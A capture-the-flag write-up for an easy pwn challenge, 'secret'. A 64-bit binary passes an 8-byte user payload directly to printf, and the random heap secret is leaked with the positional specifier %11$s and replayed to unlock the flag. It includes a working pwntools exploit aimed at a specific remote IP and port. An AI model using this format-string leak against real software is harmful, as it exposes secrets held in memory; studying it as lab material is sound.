secret
secret
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-06-17 | Status: Solved Techniques: format_string_arbitrary_read, info_leak, leak_and_replay, positional_specifier
Summary
Task: 64-bit PIE ELF reads an 8-byte 'payload' and passes it directly to printf (format-string vuln); a random malloc'd secret on the stack must be guessed to unlock print_flag(). Solution: leak the secret via the compact positional read %11$s, then replay the leaked string at the Secret prompt so strncmp passes and print_flag() dumps /flag.
secret — pwn_spbctf
Description
Форматные строки говоришь? Окай...
English: "Format strings you say? Okay..." A 64-bit x86-64 ELF (secret.elf,
PIE, NX, Partial RELRO, no stack canary) is provided, served remotely at
nc 109.233.56.90 11630. The program generates a random secret and only prints
the flag if you can supply that secret back. Goal: read /flag.
Analysis
Three relevant functions:
rand_str()@0x12e6:srand(time(NULL)), picksn = rand_int(8, 0x20),malloc(n), and fillsnrandom printable bytes (eachrand_int(0x21, 0x7a)). It returns the heap pointer — this is the SECRET — whichmainstores atrbp-0x8.main()@0x13d4:- prints
Where is a secret?..thenPayload: safe_fgets(buf @ rbp-0x10, 8)— reads an 8-byte payloadprintf(buf)with NO format argument → format-string vulnerability (the 8-byte user buffer is used directly as the format string)- prints
Secret:,safe_fgets(guess @ rbp-0x30, 0x20) strncmp(secret, guess, strlen(secret))→ if equal, callsprint_flag()
- prints
print_flag()@0x135d:fopen("/flag")/fgets/puts.
Two ways in:
- Predict the time-seeded secret — possible but fragile: requires replaying
the full
randstream (rand_intfor the length and every byte) and matching the server clock. Brittle. - Leak it via the format string — deterministic and one-shot.
The secret pointer lives on the stack frame and is reachable as a positional
printf argument. With only an 8-byte format budget, long %p chains don't
fit, but a compact positional specifier %N$s does.
Solution
Scanning positions %1$p..%18$p / %N$s, position 11 (%11$s)
dereferences the malloc'd secret and prints it (all printable 0x21-0x7a
characters). Position 1 is our own buffer; 7/9/etc were stack garbage.
So the deterministic one-shot exploit (within a single connection) is:
- At
Payload:send%11$s→ the program prints the secret string. - Capture it from the echo (between
Hmmm...\nand\nSecret:). - Send that exact secret at
Secret:→strncmppasses →print_flag()dumps/flag.
The secret differs every connection, but leak-and-replay within ONE connection always works.
python read-only • copy allowed#!/usr/bin/env python3 # secret.elf (PIE, no canary): main reads an 8-byte "Payload" used DIRECTLY as a # printf format string (format-string vuln). The random secret (malloc'd, printable # 0x21-0x7a) lives on the stack frame and is reachable via positional arg %11$s. # Leak it with %11$s, then send it back as the "Secret" guess -> strncmp passes -> # print_flag() reads /flag. from pwn import * context.log_level = 'info' HOST, PORT = '109.233.56.90', 11630 io = remote(HOST, PORT) io.recvuntil(b'Payload: ') io.sendline(b'%11$s') # fits in the 8-byte buffer r = io.recvuntil(b'Secret: ') secret = r.split(b'Hmmm...\n')[1].split(b'\nSecret')[0] log.success('leaked secret: %r' % secret) io.sendline(secret) print(io.recvall(timeout=3).decode(errors='replace')) io.close()